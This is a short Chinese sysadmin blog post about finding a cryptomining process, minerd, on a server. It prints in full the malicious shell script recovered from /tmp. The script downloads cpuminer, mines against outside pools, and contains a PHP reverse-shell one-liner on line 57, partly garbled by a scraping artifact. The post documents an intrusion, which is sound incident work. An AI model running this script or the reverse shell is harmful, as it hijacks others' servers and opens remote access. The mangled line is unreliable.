关于‘挖矿’minerd

今天服务器cpu使用率一直很高，而且是nice高，说明是一些低优先级的进程占用了大量的cpu，经过排查发先了minerd这个进程

以服务器的/tmp目录下找到了源头。。。。。一个简单的脚本：

 1 Cpunum=`cat /proc/cpuinfo |grep ‘processor‘|wc -l`;
 2 echo "cpu-number $Cpunum";
 3
 4 function random()
 5 {
 6     min=$1;
 7     max=$2-$1;
 8     num=$(date +%s+%N);
 9     ((retnum=num%max+min));
10     echo $retnum;
11 }
12
13 function down(){
14         rm -rf /tmp/minerd
15         rm -rf /tmp/pooler.tar.gz
16         Bits=`getconf LONG_BIT`;
17         echo $Bits;
18         if [ $Bits -eq 64 ];
19         then
20                 echo "is 64 bit";
21                 url=‘http://jaist.dl.sourceforge.net/project/cpuminer/pooler-cpuminer-2.4-linux-x86_64.tar.gz‘
22         elif [ $Bits -eq 32 ];
23         then
24                 echo "is 32 bit";
25                 url=‘http://jaist.dl.sourceforge.net/project/cpuminer/pooler-cpuminer-2.4-linux-x86.tar.gz‘
26         fi
27         echo $url
28         if [ -f /tmp/minerd ];
29         then
30                 echo "minerd File exists"
31                 #cd /tmp/
32                 #./minerd -a scrypt -o stratum+tcp://multi.ghash.io:3333 -u lscllc.worker1 -p x
33         else
34                 if [ -f /tmp/pooler.tar.gz ];
35                 then
36                         rm -rf /tmp/pooler.tar.gz
37                 fi
38                 if [ `which wget` ];
39                 then
40                         echo "wget is ok."
41                         downtools=`wget -O /tmp/pooler.tar.gz $url`
42                 elif [ `which curl` ];
43                 then
44                         echo "curl is ok."
45                         downtools=`curl -o /tmp/pooler.tar.gz $url`
46                 fi
47                 cd /tmp/
48                 tar zxvf pooler.tar.gz
49                 rm -rf /tmp/pooler.tar.gz
50                 #./minerd -a scrypt -o stratum+tcp://multi.ghash.io:3333 -u lscllc.worker1 -p x
51         fi
52
53 }
54 function run(){
55         out=$(random 1 100);
56         echo $out
57         Isopen=`php -r ‘[email protected]("multi.ghash.io",3333);exec("/bin/sh -i <&3 >&3 2>&3");if ($sock) {echo "ok";}‘`
58
59         if [ $Isopen ];
60         then
61                 echo "connt prot 3333 ok"
62                 cd /tmp
63                 ./minerd -a scrypt -o stratum+tcp://multi.ghash.io:3333 -u lscllc.worker$out -p x
64         else
65                 echo "connt 186 host pool 80"
66                 cd /tmp
67                 ./minerd -a scrypt -o stratum+tcp://106.186.118.162:80 -u lscllc.worker1 -p x
68
69         fi
70 }
71
72 process=`pgrep minerd`
73
74 #echo $process
75
76 if [ $process ];
77 then
78         echo "find minerd ok start kill $process"
79         kill $process
80         run
81 else
82         echo "not find minerd process"
83         down
84         run
85 fi

关于‘挖矿’minerd